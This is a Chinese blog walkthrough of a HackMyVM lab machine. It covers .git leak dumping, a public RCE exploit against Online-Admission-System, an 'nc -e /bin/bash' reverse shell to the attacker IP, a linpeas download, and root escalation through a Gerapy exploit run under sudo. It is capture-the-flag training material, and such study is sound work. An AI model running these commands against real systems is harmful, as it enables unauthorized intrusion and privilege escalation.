官方公众号企业安全新浪微博
FreeBuf.COM网络安全行业门户，每日发布专业的安全资讯、技术剖析。
FreeBuf+小程序
知非- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
本文由
知非 创作，已纳入「FreeBuf原创奖励计划」，未授权禁止转载
前言
本次文章只用于技术讨论，学习，切勿用于非法用途，用于非法用途与本人无关！
KALI攻击机：192.168.1.128
靶机：未知
目标：root.txt和user.txt
信息收集阶段
nmap -sn 192.168.1.0/24
nmap -A -p1-65535 192.168.1.28
开启了22端口和80端口：并且可见80端口下有.git文件，存在git泄露！
同时可见当前系统为：https://github.com/rskoolrash/Online-Admission-System
漏洞利用阶段
先从git泄露找找有没有可用的地方！！
首先需要安装git：apt-get install git
这里采用工具：GitHack
下载链接如下：
https://github.com/BugScanTeam/GitHack
python2 GitHack.py http://192.168.1.28/.git/
Clone Success. Dist File : /root/dist/192.168.1.28
翻了半天，没找到啥可利用的！
看下这个系统！有没有漏洞！
上网搜下！
https://packetstormsecurity.com/files/165453/Online-Admission-System-1.0-Remote-Code-Execution.html
这里有个Online-Admission-System 1.0系统的RCE漏洞，但是我们不知道这个系统是否是1.0版本！
试下：python3 oas10-exec.py -t 192.168.1.28 -p 80 -L 192.168.1.128 -P 4444
修改为交互式的shell！
python3 -c 'import pty; pty.spawn("/bin/bash")'
我们看到还有两个用户，看来需要切换到这两个用户！
这个shell有问题，不知道是超时还是怎么回事！总是会自动掉线！
我们把这个shell反弹出去！
nc 192.168.1.128 5555 -e /bin/bash
切换为交互式shell！！！
python3 -c 'import pty; pty.spawn("/bin/bash")'
这里直接下载提权脚本信息收集linpeas.sh来检查！
wget http://192.168.1.128:8000/linpeas.sh
没发现啥可用的！手动找下吧！
这个目录下有sandra的密码信息！
用ssh连接下试试！
密码：Myyogaiseasy
第一个flag：
cat user.txt
HMV0*********5HMV
权限提升阶段
接着就是需要提权到root！
sudo权限查询下！
我们上网搜下，看看这个程序gerapy是干啥用的？！
Gerapy 是一款分布式爬虫管理框架，支持 Python 3，基于 Scrapy、Scrapyd、Scrapyd-Client、Scrapy-Redis、Scrapyd-API、Scrapy-Splash、Jinjia2、Django、Vue.js 开发。
找了下：searchsploit Gerapy 确实有远程代码执行漏洞，而且需要在认证状态下！
find / -name 50640.py -print，在这！
出错了！这个是认证状态下，我们看下脚本中的内容！
参考：https://github.com/Gerapy/Gerapy的内容，需要对其进行初始化！
sudo gerapy init
cd gerapy
sudo gerapy migrate
sudo gerapy createsuperuser
这里用用户名admin和密码admin，脚本就不需要修改了！
sudo gerapy runserver 0.0.0.0:8888
看下面的官方注释！
python3 /usr/share/exploitdb/exploits/python/remote/50640.py -t 192.168.1.28 -p 8888 -L 192.168.1.128 -P 6666
有报错，能踩的坑全踩全了！
我们在获取project list时报错了！所以我们切换到projects文件夹中进行初始化！
继续在8888端口上开启服务！
python3 /usr/share/exploitdb/exploits/python/remote/50640.py -t 192.168.1.28 -p 8888 -L 192.168.1.128 -P 6666
最后的flag：
cat root.txt
HMV***************HMV
已在FreeBuf发表 125 篇文章
如需授权、对文章有疑问或需删除稿件，请联系 FreeBuf 客服小蜜蜂（微信：freebee1024）
hackmyvm靶场实战
- 125 文章数
- 40 关注者